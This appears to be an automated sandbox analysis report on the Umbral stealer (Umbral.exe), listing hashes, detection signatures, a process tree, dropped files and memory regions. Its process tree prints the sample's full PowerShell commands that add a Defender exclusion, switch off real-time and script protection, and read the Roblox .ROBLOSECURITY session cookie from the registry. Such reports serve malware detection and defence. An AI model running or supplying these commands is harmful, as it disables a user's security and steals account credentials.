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Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2025, 23:39

General

  • Target

    Umbral.exe

  • Size

    231KB

  • MD5

    1386a2acc32c74bd6c5c7c0854ed0057

  • SHA1

    0c7fad651f261659e38a0d248ef293243cd44d2b

  • SHA256

    196836d6a8ec3b17bf20eef67adb66f5c811e547454f0a3593fcdf795db465cf

  • SHA512

    e84390078981e8d5404c854d066242df8fcb09fcdc9c6721e499a99758d63d34e94608910d7f99031c22bf5e2d2ddc21f3126819a38adec13393a2b5d766ced7

  • SSDEEP

    6144:RloZMrfsXtioRkts/cnnK6cMlpDtwt74szeKrd4UBbLxb8e1mii:joZBtlRk83MlpDtwt74szeKrd4UBJg

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4468
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5068
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3192
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4992
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:740
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1860
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:4028

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      77d622bb1a5b250869a3238b9bc1402b

      SHA1

      d47f4003c2554b9dfc4c16f22460b331886b191b

      SHA256

      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

      SHA512

      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      948B

      MD5

      ad131c8b53093f1b673385910693d7a3

      SHA1

      d1948974be7bdbf63f85c132ce81f7e4a71ede2f

      SHA256

      63b31d22e538288f6adcd34311b222a9e77c668093f12146d0c2d078698c4376

      SHA512

      9e0682979b727dacc054df93a1eb7c26210d9cf6ab79b85cc2e4bf91d92ada282499ef2a3df82ef3408f1ed1e0ad71a70f0086e4d6cfb4b2c50d015085ad1813

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      276798eeb29a49dc6e199768bc9c2e71

      SHA1

      5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

      SHA256

      cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

      SHA512

      0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      7511c81925750deb7ad1b9b80eea8a8d

      SHA1

      6ea759b3cbd243ae11435c6d6c5ced185eb01f49

      SHA256

      5b49723a7773f2fe1f6093236e7b9b2c546f0873635d02346cb39535811234fa

      SHA512

      5f7e69316d39525d137a7a833f8c746ceef8f1b2295348393fb3244cca8b962fbaad0f7da49da453fe97e2c49b1f41f06138111ac5ff97fdc33c300350ec3a1b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezgqh00s.oh2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4468-12-0x0000026EFE240000-0x0000026EFE262000-memory.dmp

      Filesize

      136KB

    • memory/4468-13-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-14-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-15-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-18-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

      Filesize

      10.8MB

    • memory/4776-32-0x00000239B7B30000-0x00000239B7B80000-memory.dmp

      Filesize

      320KB

    • memory/4776-31-0x00000239D0380000-0x00000239D03F6000-memory.dmp

      Filesize

      472KB

    • memory/4776-33-0x00000239B7B00000-0x00000239B7B1E000-memory.dmp

      Filesize

      120KB

    • memory/4776-1-0x00000239B5D70000-0x00000239B5DB0000-memory.dmp

      Filesize

      256KB

    • memory/4776-0-0x00007FFF98C73000-0x00007FFF98C75000-memory.dmp

      Filesize

      8KB

    • memory/4776-70-0x00000239B7B90000-0x00000239B7B9A000-memory.dmp

      Filesize

      40KB

    • memory/4776-71-0x00000239D0680000-0x00000239D0692000-memory.dmp

      Filesize

      72KB

    • memory/4776-2-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

      Filesize

      10.8MB

    • memory/4776-91-0x00000239D0270000-0x00000239D0372000-memory.dmp

      Filesize

      1.0MB

    • memory/4776-92-0x00007FFF98C70000-0x00007FFF99731000-memory.dmp

      Filesize

      10.8MB